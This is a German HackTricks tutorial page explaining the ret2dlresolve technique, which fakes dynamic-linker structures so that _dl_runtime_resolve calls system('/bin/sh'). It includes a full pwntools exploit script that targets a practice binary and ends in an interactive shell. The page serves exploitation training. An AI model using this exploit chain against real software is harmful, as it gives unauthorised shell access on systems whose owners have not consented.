5.8 KiB
Ret2dlresolve
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.
Grundlegende Informationen
Wie auf der Seite über GOT/PLT und Relro erklärt, werden Binärdateien ohne Full Relro Symbole (wie Adressen externer Bibliotheken) beim ersten Gebrauch auflösen. Diese Auflösung erfolgt durch Aufruf der Funktion _dl_runtime_resolve
.
Die Funktion _dl_runtime_resolve
nimmt vom Stapel Verweise auf einige Strukturen entgegen, die sie benötigt, um das angegebene Symbol aufzulösen.
Daher ist es möglich, alle diese Strukturen zu fälschen, um das dynamische Verknüpfen das angeforderte Symbol (wie die system
-Funktion) aufzulösen und mit einem konfigurierten Parameter aufzurufen (z. B. system('/bin/sh')
).
Normalerweise werden all diese Strukturen gefälscht, indem eine initiale ROP-Kette erstellt wird, die read
aufruft über einen beschreibbaren Speicher, dann werden die Strukturen und der String '/bin/sh'
übergeben, damit sie von read
an einem bekannten Ort gespeichert werden, und dann setzt die ROP-Kette fort, indem sie _dl_runtime_resolve
mit der Adresse von $'/bin/sh'
aufruft.
{% hint style="success" %} Diese Technik ist besonders nützlich, wenn es keine Syscall-Gadgets gibt (um Techniken wie ret2syscall oder SROP zu verwenden) und es keine Möglichkeiten gibt, libc-Adressen preiszugeben. {% endhint %}
Eine bessere Erklärung dieser Technik finden Sie in der zweiten Hälfte des Videos:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
Strukturen
Es ist notwendig, 3 Strukturen zu fälschen: JMPREL
, STRTAB
und SYMTAB
. Eine bessere Erklärung, wie diese aufgebaut sind, finden Sie unter https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures
Angriffszusammenfassung
- Fälschen Sie gefälschte Strukturen an einem Ort
- Setzen Sie das erste Argument von system (
$rdi = &'/bin/sh'
) - Setzen Sie auf dem Stapel die Adressen zu den Strukturen, um
_dl_runtime_resolve
aufzurufen - Rufen Sie
_dl_runtime_resolve
auf system
wird aufgelöst und mit'/bin/sh'
als Argument aufgerufen
Beispiel
Sie finden ein Beispiel dieser Technik hier mit einer sehr guten Erklärung der endgültigen ROP-Kette, aber hier ist der verwendete endgültige Exploit:
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = elf.process()
rop = ROP(elf)
# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop.raw('A' * 76)
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset
log.info(rop.dump())
p.sendline(rop.chain())
p.sendline(dlresolve.payload) # now the read is called and we pass all the relevant structures in
p.interactive()
Referenzen
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud Github-Repositories einreichen.